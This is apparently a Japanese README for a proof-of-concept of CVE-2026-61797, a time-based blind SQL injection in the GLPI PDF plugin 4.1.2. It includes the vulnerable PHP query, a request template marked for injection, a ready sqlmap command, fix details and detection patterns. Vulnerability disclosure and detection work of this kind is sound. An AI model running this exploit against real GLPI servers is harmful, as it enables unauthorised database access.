
CVE-2026-61797の概念実証。GLPI PDFプラグインにおける時間ベースのブラインドSQLインジェクションで、sqlmapによる検証と検出ガイダンスを含む。
CVE-2026-61797 の概念実証(PoC)。GLPI PDF プラグインに影響を与える時間ベースブラインド SQL インジェクション脆弱性です。
この脆弱性は以下を通じて到達可能です:
/marketplace/pdf/front/preference.form.php
脆弱な実装では、item POST 配列からのユーザー制御値が、適切なパラメータ化なしに SQL クエリに挿入されます。
認証済みの低権限 GLPI ユーザーは、この動作を悪用して SQL 式を注入し、応答タイミングを通じてデータベース情報を推測することができます。
| フィールド | 値 |
|---|
| CVE | CVE-2026-61797 |
| 製品 | GLPI PDF Plugin |
| テスト済みバージョン | 4.1.2 |
| 修正済みバージョン | 4.1.3 |
| 脆弱性 | 時間ベースブラインド SQL インジェクション |
| 認証 | テスト済み 4.1.2 ブランチで必須 |
| 攻撃ベクター | ネットワーク |
| ユーザー操作 | なし |
| データベース | MySQL |
| CVSS | 6.1 / 10 |
| アドバイザリ | GHSA-wwr3-v347-c64m |
脆弱なコードは最終的に、攻撃者が制御する item キーを SQL INSERT ステートメントの tabref フィールドに配置します。
概念的には、脆弱な操作は次のようになっていました:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
$key が SQL ステートメントの一部となるため、細工された配列キーが結果のクエリを変更する可能性があります。
PoC には以下が必要です:
sqlmap。PoC は PDF Plugin 4.1.2 に対して検証されました。
以下への正当なリクエストをキャプチャします:
POST /marketplace/pdf/front/preference.form.php
そして次のように保存します:
glpi.sqli
インジェクションポイントをマークするのに適した最小限のリクエストボディは次のとおりです:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
* は、リクエストのどの部分をテストすべきかを sqlmap に指示します。
リクエスト構造の例:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
実行:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
脆弱なインストールは、カスタム POST インジェクションポイントで 時間ベースブラインド SQL インジェクション を受け入れるものとして識別されるはずです。
典型的な検出結果は次のようになります:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
この手法は、注入された条件が真と評価されるかどうかを判断するために、SLEEP() などの条件付き MySQL 遅延に依存しています。
このリポジトリは、文書化された PoC を脆弱性の検証に意図的に限定しており、データベースダンプや資格情報抽出のコマンドは提供していません。
脆弱なリクエストは以下に到達します:
plugins/pdf/front/preference.form.php
アプリケーションは次のような値を処理します:
item[<USER_CONTROLLED_VALUE>]=1
PHP はこれを連想配列に変換し、攻撃者が配列キーを制御します。
そのキーは後にプラグインによって $key として使用され、脆弱なバージョンでは SQL ステートメントに直接連結されます。
結果として生じるデータフローは実質的に次のとおりです:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
したがって、時間ベースのペイロードは SQL 式に影響を与え、提供された条件が真である場合にデータベースが意図的に応答を遅延させることができます。
アプリケーションは SQL クエリの結果を直接返さないため、悪用は ブラインド SQL インジェクション として実行されます。
この問題は PDF Plugin 4.1.3 で修正されました。
脆弱な生の SQL 操作は、より安全なデータベース/ORM メカニズムと追加の認可ロジックに置き換えられました。
ユーザーは以下にアップグレードする必要があります:
PDF Plugin >= 4.1.3
または、より新しいサポートされているリリース。
防御側は、以下をターゲットとする HTTP リクエストを確認することをお勧めします:
/marketplace/pdf/front/preference.form.php
異常な item[...] パラメータ名を伴うもの。
特に疑わしいパターンには、配列キー内に SQL 構文や時間遅延関数が出現することが含まれます。例えば、以下への参照:
SLEEP(
SELECT
AND
OR
||
'
"
エンドポイントへの繰り返しの POST リクエストに続いて、一貫した数秒の応答遅延が見られる場合も、時間ベースブラインド SQL インジェクションを悪用しようとする試みを示している可能性があります。
この概念実証は、以下の目的に限定して提供されています:
所有していない、またはテストする明示的な許可を持っていないシステムに対して使用しないでください。
著者は、この資料の不正または違法な使用に対して一切の責任を負いません。
脆弱性研究およびオリジナルの技術分析:
ITRESIT Labs — Javier Medina
オリジナル研究:
CVE:
CVE-2026-61797
GitHub Security Advisory:
GHSA-wwr3-v347-c64m
このリポジトリは、教育および許可されたセキュリティテストの目的にのみ使用されることを意図しています。
所有していないシステムをテストする前に、常に明示的な許可を取得してください。